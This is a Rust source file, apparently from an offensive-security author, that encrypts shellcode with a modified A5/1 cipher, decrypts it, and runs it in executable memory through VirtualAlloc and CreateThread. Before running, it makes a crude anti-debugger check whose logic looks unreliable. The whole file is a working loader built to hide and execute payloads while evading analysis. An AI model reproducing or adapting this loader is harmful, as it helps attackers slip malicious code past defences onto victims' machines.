/*
    Encrypt shellcode using a modified A5/1 cipher with seeded randomness.
    Author: 5mukx
*/

/*
[dependencies]
rand = "0.8.5"
rand_chacha = "0.3.1"
winapi = { version = "0.3.9", features = ["memoryapi","processthreadsapi","synchapi","winnt"]}
*/

use std::{fs::{self, File}, io::Write, ptr::null_mut};

use rand::{Rng, SeedableRng};
use winapi::um::{
    memoryapi::{VirtualAlloc, VirtualFree}, 
    processthreadsapi::{CreateThread, GetCurrentProcessId, OpenProcess}, 
    synchapi::WaitForSingleObject, 
    winnt::{MEM_COMMIT, MEM_RELEASE, PAGE_EXECUTE_READWRITE}
};


const A51_KEY_SIZE: usize = 8;

fn a5_step(x: u32, y: u32, z: u32) -> u32 {
    (x & y) ^ (x & z) ^ (y & z)
}


fn check_for_debugger() -> bool{
    unsafe{
        let pid = GetCurrentProcessId();
        let handle = OpenProcess(
            0x000F0000 | 0x00100000 | 0xFFFF, 
            0,
            pid
        );

        handle.is_null()
    }
}

fn a5_1_encrypt(key: &[u8], msg: &[u8], seed:u64) -> Vec<u8> {

    let mut rng = rand_chacha::ChaCha8Rng::seed_from_u64(seed);

    let mut r1 = 0u32;
    let mut r2 = 0u32;
    let mut r3 = 0u32;

    // Initialization
    for i in 0..64 {
        let feedback = ((key[i % key.len()] >> (i / 8)) & 1) as u32
            ^ (r1 >> 18 & 1)
            ^ (r2 >> 21 & 1)
            ^ (r3 >> 22 & 1)
            ^ (rng.gen::<u32>() & 1);
        r1 = (r1 << 1) | feedback;
        r2 = (r2 << 1) | ((r1 >> 8) & 1);
        r3 = (r3 << 1) | ((r2 >> 10) & 1);
    }

    msg.iter()
        .map(|&byte| {
            let feedback = a5_step((r1 >> 8) & 1, (r2 >> 10) & 1, (r3 >> 10) & 1);
            let mut key_byte = 0u8;

            for j in 0..8 {
                let bit = a5_step((r1 >> 18) & 1, (r2 >> 21) & 1, (r3 >> 22) & 1) ^ feedback;
                key_byte |= (bit as u8) << j;
                r1 = (r1 << 1) | bit;
                r2 = (r2 << 1) | ((r1 >> 8) & 1);
                r3 = (r3 << 1) | ((r2 >> 10) & 1);
            }

            byte ^ key_byte
        })
        .collect()
}

fn a5_1_decrypt(key: &[u8], cipher: &[u8], seed:u64) -> Vec<u8> {
    a5_1_encrypt(key, cipher, seed) // decryption func is the same as encryption for A5/1 -> Just pause the keys with enc data !
}

fn read_file(path: &str) -> Vec<u8> {
    fs::read(path).expect("Failed to read file")
}

fn write_file(path: &str, data: &[u8]) {
    let mut file = File::create(path).expect("Failed to create file");
    file.write_all(data).expect("Failed to write to file");
}

fn execute_shellcode(shellcode: &[u8]) {
    if check_for_debugger() {
        println!("[-] Debugger detected, exiting...");
        std::process::exit(0x100);
    }

    unsafe {
        let mem = VirtualAlloc(
            null_mut(),
            shellcode.len(),
            MEM_COMMIT,
            PAGE_EXECUTE_READWRITE,
        );

        if mem.is_null() {
            println!("[-] Failed to allocate memory for shellcode");
            std::process::exit(0x100);
        }

        std::ptr::copy_nonoverlapping(shellcode.as_ptr(), mem as *mut u8, shellcode.len());

        let thread = CreateThread(
            null_mut(),
            0,
            Some(std::mem::transmute(mem)),
            null_mut(),
            0,
            null_mut(),
        );

        if thread.is_null() {
            VirtualFree(mem, 0, MEM_RELEASE);
            println!("[-] Failed to create thread for shellcode");
            std::process::exit(0x100);
        }

        WaitForSingleObject(thread, 0xFFFFFFFF);
        VirtualFree(mem, 0, MEM_RELEASE);
    }
}

fn main(){
    let key: [u8; A51_KEY_SIZE] = [0x11,0x22,0x33,0x44,0x55,0x66,0x77,0x88];
    
    // replace your bin file
    let input_file = "msgbox_shellcode.bin";
    let encrypted_file = "encrypt_msg.bin";
    let decrypt_file = "decrypt_msg.bin";

    // using seed rng to generate the same sequence of random numbers.
    let seed = 1024;

    // encrypt_function exec
    let shellcode = read_file(&input_file);
    let encrypt_shellcode = a5_1_encrypt(&key, &shellcode, seed);
    write_file(&encrypted_file, &encrypt_shellcode);

    // decrypt_function exec
    let encrypt_data = read_file(&encrypted_file);
    let decrypt_shellcode = a5_1_decrypt(&key,&encrypt_data, seed);
    write_file(&decrypt_file, &decrypt_shellcode);

    // sample func to test and execute shellcode.
    execute_shellcode(&decrypt_shellcode);
}
